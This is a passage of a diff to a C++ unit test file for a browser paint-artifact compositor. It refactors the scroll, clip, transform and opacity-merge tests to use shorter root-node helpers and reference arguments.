.Chunk(scroll_translation_a->Parent(), ClipPaintPropertyNode::Root(),\n- effect)\n- .ScrollHitTest(scroll_translation_a);\n- artifact.Chunk(scroll_translation_b, ClipPaintPropertyNode::Root(), effect)\n+ artifact.Chunk(*scroll_translation_a->Parent(), c0(), *effect)\n+ .ScrollHitTest(*scroll_translation_a);\n+ artifact.Chunk(*scroll_translation_b, c0(), *effect)\n .RectDrawing(FloatRect(1, 2, 3, 5), Color::kWhite);\n- artifact\n- .Chunk(scroll_translation_b->Parent(), ClipPaintPropertyNode::Root(),\n- effect)\n- .ScrollHitTest(scroll_translation_b);\n+ artifact.Chunk(*scroll_translation_b->Parent(), c0(), *effect)\n+ .ScrollHitTest(*scroll_translation_b);\n Update(artifact.Build());\n \n const cc::ScrollTree& scroll_tree = GetPropertyTrees().scroll_tree;\n@@ -1028,29 +934,24 @@ TEST_F(PaintArtifactCompositorTest, NestedScrollNodes) {\n }\n \n TEST_F(PaintArtifactCompositorTest, ScrollHitTestLayerOrder) {\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(0, 0, 100, 100));\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(0, 0, 100, 100));\n \n CompositorElementId scroll_element_id = ScrollElementId(2);\n auto scroll = CreateScroll(ScrollPaintPropertyNode::Root(), ScrollState1(),\n kNotScrollingOnMain, scroll_element_id);\n- auto scroll_translation =\n- CreateScrollTranslation(TransformPaintPropertyNode::Root(), 7, 9, scroll,\n- CompositingReason::kWillChangeCompositingHint);\n+ auto scroll_translation = CreateScrollTranslation(\n+ t0(), 7, 9, *scroll, CompositingReason::kWillChangeCompositingHint);\n \n auto transform = CreateTransform(\n- scroll_translation, TransformationMatrix().Translate(5, 5),\n+ *scroll_translation, TransformationMatrix().Translate(5, 5),\n FloatPoint3D(), CompositingReason::k3DTransform);\n \n TestPaintArtifact artifact;\n- artifact.Chunk(scroll_translation, clip, EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*scroll_translation, *clip, e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- artifact\n- .Chunk(scroll_translation->Parent(), clip,\n- EffectPaintPropertyNode::Root())\n- .ScrollHitTest(scroll_translation);\n- artifact.Chunk(transform, clip, EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*scroll_translation->Parent(), *clip, e0())\n+ .ScrollHitTest(*scroll_translation);\n+ artifact.Chunk(*transform, *clip, e0())\n .RectDrawing(FloatRect(0, 0, 50, 50), Color::kBlack);\n Update(artifact.Build());\n \n@@ -1072,35 +973,27 @@ TEST_F(PaintArtifactCompositorTest, ScrollHitTestLayerOrder) {\n }\n \n TEST_F(PaintArtifactCompositorTest, NestedScrollHitTestLayerOrder) {\n- auto clip_1 = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(0, 0, 100, 100));\n+ auto clip_1 = CreateClip(c0(), &t0(), FloatRoundedRect(0, 0, 100, 100));\n CompositorElementId scroll_1_element_id = ScrollElementId(1);\n auto scroll_1 = CreateScroll(ScrollPaintPropertyNode::Root(), ScrollState1(),\n kNotScrollingOnMain, scroll_1_element_id);\n auto scroll_translation_1 = CreateScrollTranslation(\n- TransformPaintPropertyNode::Root(), 7, 9, scroll_1,\n- CompositingReason::kWillChangeCompositingHint);\n+ t0(), 7, 9, *scroll_1, CompositingReason::kWillChangeCompositingHint);\n \n- auto clip_2 =\n- CreateClip(clip_1, scroll_translation_1, FloatRoundedRect(0, 0, 50, 50));\n+ auto clip_2 = CreateClip(*clip_1, scroll_translation_1.get(),\n+ FloatRoundedRect(0, 0, 50, 50));\n CompositorElementId scroll_2_element_id = ScrollElementId(2);\n auto scroll_2 = CreateScroll(ScrollPaintPropertyNode::Root(), ScrollState2(),\n kNotScrollingOnMain, scroll_2_element_id);\n auto scroll_translation_2 = CreateScrollTranslation(\n- TransformPaintPropertyNode::Root(), 0, 0, scroll_2,\n- CompositingReason::kWillChangeCompositingHint);\n+ t0(), 0, 0, *scroll_2, CompositingReason::kWillChangeCompositingHint);\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(scroll_translation_1->Parent(), clip_1->Parent(),\n- EffectPaintPropertyNode::Root())\n- .ScrollHitTest(scroll_translation_1);\n- artifact\n- .Chunk(scroll_translation_2->Parent(), clip_2->Parent(),\n- EffectPaintPropertyNode::Root())\n- .ScrollHitTest(scroll_translation_2);\n- artifact.Chunk(scroll_translation_2, clip_2, EffectPaintPropertyNode::Root())\n+ artifact.Chunk(*scroll_translation_1->Parent(), *clip_1->Parent(), e0())\n+ .ScrollHitTest(*scroll_translation_1);\n+ artifact.Chunk(*scroll_translation_2->Parent(), *clip_2->Parent(), e0())\n+ .ScrollHitTest(*scroll_translation_2);\n+ artifact.Chunk(*scroll_translation_2, *clip_2, e0())\n .RectDrawing(FloatRect(0, 0, 50, 50), Color::kWhite);\n Update(artifact.Build());\n \n@@ -1138,24 +1031,18 @@ TEST_F(PaintArtifactCompositorTest, AncestorScrollNodes) {\n auto scroll_a = CreateScroll(ScrollPaintPropertyNode::Root(), ScrollState1(),\n kNotScrollingOnMain, scroll_element_id_a);\n auto scroll_translation_a = CreateScrollTranslation(\n- TransformPaintPropertyNode::Root(), 11, 13, scroll_a,\n- CompositingReason::kLayerForScrollingContents);\n+ t0(), 11, 13, *scroll_a, CompositingReason::kLayerForScrollingContents);\n \n CompositorElementId scroll_element_id_b = ScrollElementId(3);\n- auto scroll_b = CreateScroll(scroll_a, ScrollState2(), kNotScrollingOnMain,\n+ auto scroll_b = CreateScroll(*scroll_a, ScrollState2(), kNotScrollingOnMain,\n scroll_element_id_b);\n auto scroll_translation_b =\n- CreateScrollTranslation(scroll_translation_a, 37, 41, scroll_b);\n+ CreateScrollTranslation(*scroll_translation_a, 37, 41, *scroll_b);\n \n TestPaintArtifact artifact;\n- artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n- .ScrollHitTest(scroll_translation_b);\n- artifact\n- .Chunk(scroll_translation_b, ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n- .ScrollHitTest(scroll_translation_a);\n+ artifact.Chunk(t0(), c0(), e0()).ScrollHitTest(*scroll_translation_b);\n+ artifact.Chunk(*scroll_translation_b, c0(), e0())\n+ .ScrollHitTest(*scroll_translation_a);\n Update(artifact.Build());\n \n const cc::ScrollTree& scroll_tree = GetPropertyTrees().scroll_tree;\n@@ -1192,13 +1079,9 @@ TEST_F(PaintArtifactCompositorTest, AncestorScrollNodes) {\n \n TEST_F(PaintArtifactCompositorTest, MergeSimpleChunks) {\n TestPaintArtifact test_artifact;\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 200, 300), Color::kGray);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -1220,22 +1103,14 @@ TEST_F(PaintArtifactCompositorTest, MergeSimpleChunks) {\n }\n \n TEST_F(PaintArtifactCompositorTest, MergeClip) {\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(10, 20, 50, 60));\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(10, 20, 50, 60));\n \n TestPaintArtifact test_artifact;\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), clip.get(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), *clip, e0())\n .RectDrawing(FloatRect(0, 0, 200, 300), Color::kBlack);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 300, 400), Color::kGray);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -1260,22 +1135,16 @@ TEST_F(PaintArtifactCompositorTest, MergeClip) {\n }\n \n TEST_F(PaintArtifactCompositorTest, Merge2DTransform) {\n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Translate(50, 50),\n- FloatPoint3D(100, 100, 0));\n+ auto transform =\n+ CreateTransform(t0(), TransformationMatrix().Translate(50, 50),\n+ FloatPoint3D(100, 100, 0));\n \n TestPaintArtifact test_artifact;\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- test_artifact\n- .Chunk(transform.get(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(*transform, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 200, 300), Color::kGray);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -1300,24 +1169,18 @@ TEST_F(PaintArtifactCompositorTest, Merge2DTransform) {\n }\n \n TEST_F(PaintArtifactCompositorTest, Merge2DTransformDirectAncestor) {\n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix(), FloatPoint3D(),\n+ auto transform = CreateTransform(t0(), TransformationMatrix(), FloatPoint3D(),\n CompositingReason::k3DTransform);\n-\n auto transform2 =\n- CreateTransform(transform.get(), TransformationMatrix().Translate(50, 50),\n+ CreateTransform(*transform, TransformationMatrix().Translate(50, 50),\n FloatPoint3D(100, 100, 0));\n \n TestPaintArtifact test_artifact;\n- test_artifact\n- .Chunk(transform.get(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(*transform, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n // The second chunk can merge into the first because it has a descendant\n // state of the first's transform and no direct compositing reason.\n- test_artifact\n- .Chunk(transform2.get(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(*transform2, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -1339,22 +1202,15 @@ TEST_F(PaintArtifactCompositorTest, Merge2DTransformDirectAncestor) {\n }\n \n TEST_F(PaintArtifactCompositorTest, MergeTransformOrigin) {\n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Rotate(45),\n+ auto transform = CreateTransform(t0(), TransformationMatrix().Rotate(45),\n FloatPoint3D(100, 100, 0));\n \n TestPaintArtifact test_artifact;\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- test_artifact\n- .Chunk(transform.get(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(*transform, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 200, 300), Color::kGray);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -1379,20 +1235,14 @@ TEST_F(PaintArtifactCompositorTest, MergeTransformOrigin) {\n \n TEST_F(PaintArtifactCompositorTest, MergeOpacity) {\n float opacity = 2.0 / 255.0;\n- auto effect = CreateOpacityEffect(EffectPaintPropertyNode::Root(), opacity);\n+ auto effect = CreateOpacityEffect(e0(), opacity);\n \n TestPaintArtifact test_artifact;\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect.get())\n+ test_artifact.Chunk(t0(), c0(), *effect)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 200, 300), Color::kGray);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -1419,28 +1269,20 @@ TEST_F(PaintArtifactCompositorTest, MergeOpacity) {\n TEST_F(PaintArtifactCompositorTest, MergeNested) {\n // Tests merging of an opacity effect, inside of a clip, inside of a\n // transform.\n-\n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Translate(50, 50),\n- FloatPoint3D(100, 100, 0));\n-\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(), transform.get(),\n- FloatRoundedRect(10, 20, 50, 60));\n-\n+ auto transform =\n+ CreateTransform(t0(), TransformationMatrix().Translate(50, 50),\n+ FloatPoint3D(100, 100, 0));\n+ auto clip =\n+ CreateClip(c0(), transform.get(), FloatRoundedRect(10, 20, 50, 60));\n float opacity = 2.0 / 255.0;\n- auto effect = CreateOpacityEffect(EffectPaintPropertyNode::Root(), transform,\n- clip, opacity);\n+ auto effect = CreateOpacityEffect(e0(), transform.get(), clip.get(), opacity);\n \n TestPaintArtifact test_artifact;\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- test_artifact.Chunk(transform.get(), clip.get(), effect.get())\n+ test_artifact.Chunk(*transform, *clip, *effect)\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 200, 300), Color::kGray);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -1468,30 +1310,21 @@ TEST_F(PaintArtifactCompositorTest, ClipPushedUp) {\n // Tests merging of an element which has a clipapplied to it,\n // but has an ancestor transform of them. This can happen for fixed-\n // or absolute-position elements which escape scroll transforms.\n-\n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Translate(20, 25),\n- FloatPoint3D(100, 100, 0));\n-\n+ auto transform =\n+ CreateTransform(t0(), TransformationMatrix().Translate(20, 25),\n+ FloatPoint3D(100, 100, 0));\n auto transform2 =\n- CreateTransform(transform.get(), TransformationMatrix().Translate(20, 25),\n+ CreateTransform(*transform, TransformationMatrix().Translate(20, 25),\n FloatPoint3D(100, 100, 0));\n-\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(), transform2.get(),\n- FloatRoundedRect(10, 20, 50, 60));\n+ auto clip =\n+ CreateClip(c0(), transform2.get(), FloatRoundedRect(10, 20, 50, 60));\n \n TestPaintArtifact test_artifact;\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), clip.get(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), *clip, e0())\n .RectDrawing(FloatRect(0, 0, 300, 400), Color::kBlack);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 200, 300), Color::kGray);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -1523,30 +1356,23 @@ TEST_F(PaintArtifactCompositorTest, EffectPushedUp_DISABLED) {\n // but has an ancestor transform of them. This can happen for fixed-\n // or absolute-position elements which escape scroll transforms.\n \n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Translate(20, 25),\n- FloatPoint3D(100, 100, 0));\n+ auto transform =\n+ CreateTransform(t0(), TransformationMatrix().Translate(20, 25),\n+ FloatPoint3D(100, 100, 0));\n \n auto transform2 =\n- CreateTransform(transform.get(), TransformationMatrix().Translate(20, 25),\n+ CreateTransform(*transform, TransformationMatrix().Translate(20, 25),\n FloatPoint3D(100, 100, 0));\n \n float opacity = 2.0 / 255.0;\n- auto effect = CreateOpacityEffect(EffectPaintPropertyNode::Root(), transform2,\n- ClipPaintPropertyNode::Root(), opacity);\n+ auto effect = CreateOpacityEffect(e0(), transform2.get(), &c0(), opacity);\n \n TestPaintArtifact test_artifact;\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- effect.get())\n+ test_artifact.Chunk(t0(), c0(), *effect)\n .RectDrawing(FloatRect(0, 0, 300, 400), Color::kBlack);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 200, 300), Color::kGray);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -1576,33 +1402,25 @@ TEST_F(PaintArtifactCompositorTest, EffectAndClipPushedUp_DISABLED) {\n // Tests merging of an element which has an effect applied to it,\n // but has an ancestor transform of them. This can happen for fixed-\n // or absolute-position elements which escape scroll transforms.\n-\n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Translate(20, 25),\n- FloatPoint3D(100, 100, 0));\n-\n+ auto transform =\n+ CreateTransform(t0(), TransformationMatrix().Translate(20, 25),\n+ FloatPoint3D(100, 100, 0));\n auto transform2 =\n- CreateTransform(transform.get(), TransformationMatrix().Translate(20, 25),\n+ CreateTransform(*transform, TransformationMatrix().Translate(20, 25),\n FloatPoint3D(100, 100, 0));\n-\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(), transform.get(),\n- FloatRoundedRect(10, 20, 50, 60));\n+ auto clip =\n+ CreateClip(c0(), transform.get(), FloatRoundedRect(10, 20, 50, 60));\n \n float opacity = 2.0 / 255.0;\n- auto effect = CreateOpacityEffect(EffectPaintPropertyNode::Root(), transform2,\n- clip, opacity);\n+ auto effect =\n+ CreateOpacityEffect(e0(), transform2.get(), clip.get(), opacity);\n \n TestPaintArtifact test_artifact;\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), clip.get(), effect.get())\n+ test_artifact.Chunk(t0(), *clip, *effect)\n .RectDrawing(FloatRect(0, 0, 300, 400), Color::kBlack);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 200, 300), Color::kGray);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -1630,27 +1448,16 @@ TEST_F(PaintArtifactCompositorTest, EffectAndClipPushedUp_DISABLED) {\n TEST_F(PaintArtifactCompositorTest, ClipAndEffectNoTransform) {\n // Tests merging of an element which has a clip and effect in the root\n // transform space.\n-\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(10, 20, 50, 60));\n-\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(10, 20, 50, 60));\n float opacity = 2.0 / 255.0;\n- auto effect =\n- CreateOpacityEffect(EffectPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(), clip, opacity);\n+ auto effect = CreateOpacityEffect(e0(), &t0(), clip.get(), opacity);\n \n TestPaintArtifact test_artifact;\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), clip.get(), effect.get())\n+ test_artifact.Chunk(t0(), *clip, *effect)\n .RectDrawing(FloatRect(0, 0, 300, 400), Color::kBlack);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 200, 300), Color::kGray);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -1676,26 +1483,15 @@ TEST_F(PaintArtifactCompositorTest, ClipAndEffectNoTransform) {\n TEST_F(PaintArtifactCompositorTest, TwoClips) {\n // Tests merging of an element which has two clips in the root\n // transform space.\n-\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(20, 30, 10, 20));\n-\n- auto clip2 = CreateClip(clip.get(), TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(10, 20, 50, 60));\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(20, 30, 10, 20));\n+ auto clip2 = CreateClip(*clip, &t0(), FloatRoundedRect(10, 20, 50, 60));\n \n TestPaintArtifact test_artifact;\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), clip2.get(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), *clip2, e0())\n .RectDrawing(FloatRect(0, 0, 300, 400), Color::kBlack);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 200, 300), Color::kGray);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -1719,26 +1515,19 @@ TEST_F(PaintArtifactCompositorTest, TwoClips) {\n }\n \n TEST_F(PaintArtifactCompositorTest, TwoTransformsClipBetween) {\n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Translate(20, 25),\n- FloatPoint3D(100, 100, 0));\n- auto clip = CreateClip(ClipPaintPropertyNode::Root(),\n- TransformPaintPropertyNode::Root(),\n- FloatRoundedRect(0, 0, 50, 60));\n+ auto transform =\n+ CreateTransform(t0(), TransformationMatrix().Translate(20, 25),\n+ FloatPoint3D(100, 100, 0));\n+ auto clip = CreateClip(c0(), &t0(), FloatRoundedRect(0, 0, 50, 60));\n auto transform2 =\n- CreateTransform(transform.get(), TransformationMatrix().Translate(20, 25),\n+ CreateTransform(*transform, TransformationMatrix().Translate(20, 25),\n FloatPoint3D(100, 100, 0));\n TestPaintArtifact test_artifact;\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- test_artifact\n- .Chunk(transform2.get(), clip.get(), EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(*transform2, *clip, e0())\n .RectDrawing(FloatRect(0, 0, 300, 400), Color::kBlack);\n- test_artifact\n- .Chunk(TransformPaintPropertyNode::Root(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 200, 300), Color::kGray);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -1760,19 +1549,16 @@ TEST_F(PaintArtifactCompositorTest, TwoTransformsClipBetween) {\n }\n \n TEST_F(PaintArtifactCompositorTest, OverlapTransform) {\n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Translate(50, 50),\n- FloatPoint3D(100, 100, 0),\n- CompositingReason::k3DTransform);\n+ auto transform = CreateTransform(\n+ t0(), TransformationMatrix().Translate(50, 50), FloatPoint3D(100, 100, 0),\n+ CompositingReason::k3DTransform);\n \n TestPaintArtifact test_artifact;\n- test_artifact.Chunk(PropertyTreeState::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kWhite);\n- test_artifact\n- .Chunk(transform.get(), ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root())\n+ test_artifact.Chunk(*transform, c0(), e0())\n .RectDrawing(FloatRect(0, 0, 100, 100), Color::kBlack);\n- test_artifact.Chunk(PropertyTreeState::Root())\n+ test_artifact.Chunk(t0(), c0(), e0())\n .RectDrawing(FloatRect(0, 0, 200, 300), Color::kGray);\n \n const PaintArtifact& artifact = test_artifact.Build();\n@@ -1797,18 +1583,17 @@ TEST_F(PaintArtifactCompositorTest, MightOverlap) {\n EXPECT_TRUE(MightOverlap(pending_layer, pending_layer2));\n }\n \n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Translate(99, 0),\n- FloatPoint3D(100, 100, 0));\n+ auto transform = CreateTransform(\n+ t0(), TransformationMatrix().Translate(99, 0), FloatPoint3D(100, 100, 0));\n {\n paint_chunk2.properties.SetTransform(transform.get());\n PendingLayer pending_layer2(paint_chunk2, 1, false);\n EXPECT_TRUE(MightOverlap(pending_layer, pending_layer2));\n }\n \n- auto transform2 = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Translate(100, 0),\n- FloatPoint3D(100, 100, 0));\n+ auto transform2 =\n+ CreateTransform(t0(), TransformationMatrix().Translate(100, 0),\n+ FloatPoint3D(100, 100, 0));\n {\n paint_chunk2.properties.SetTransform(transform2.get());\n PendingLayer pending_layer2(paint_chunk2, 1, false);\n@@ -1851,14 +1636,12 @@ TEST_F(PaintArtifactCompositorTest, PendingLayer) {\n }\n \n TEST_F(PaintArtifactCompositorTest, PendingLayerWithGeometry) {\n- auto transform = CreateTransform(TransformPaintPropertyNode::Root(),\n- TransformationMatrix().Translate(20, 25),\n- FloatPoint3D(100, 100, 0));\n+ auto transform =\n+ CreateTransform(t0(), TransformationMatrix().Translate(20, 25),\n+ FloatPoint3D(100, 100, 0));\n \n PaintChunk chunk1 = DefaultChunk();\n- chunk1.properties = PropertyTreeState(TransformPaintPropertyNode::Root(),\n- ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root());\n+ chunk1.properties = PropertyTreeState::Root();\n chunk1.bounds = FloatRect(0, 0, 30, 40);\n \n PendingLayer pending_layer(chunk1, 0, false);\n@@ -1867,7 +1650,7 @@ TEST_F(PaintArtifactCompositorTest, PendingLayerWithGeometry) {\n \n PaintChunk chunk2 = DefaultChunk();\n chunk2.properties = chunk1.properties;\n- chunk2.properties.SetTransform(transform);\n+ chunk2.properties.SetTransform(transform.get());\n chunk2.bounds = FloatRect(0, 0, 50, 60);\n pending_layer.Merge(PendingLayer(chunk2, 1, false));\n \n@@ -1878,9 +1661,7 @@ TEST_F(PaintArtifactCompositorTest, PendingLayerWithGeometry) {\n // The test is disabled because opaque rect mapping is not implemented yet.\n TEST_F(PaintArtifactCompositorTest, PendingLayerKnownOpaque_DISABLED) {\n PaintChunk chunk1 = DefaultChunk();\n- chunk1.properties = PropertyTreeState(TransformPaintPropertyNode::Root(),\n- ClipPaintPropertyNode::Root(),\n- EffectPaintPropertyNode::Root());\n+ chunk1.properties = PropertyTreeState::Root();\n chunk1.bounds = FloatRect(0, 0, 30, 40);\n chunk1.known_to_be_opaque = false;\n PendingLayer pending_layer(chunk1, 0, false);\n@@ -1908,34 +1689,30 @@ TEST_F(PaintArtifactCompositorTest, PendingLayerKnownOpaque_DISABLED) {\n 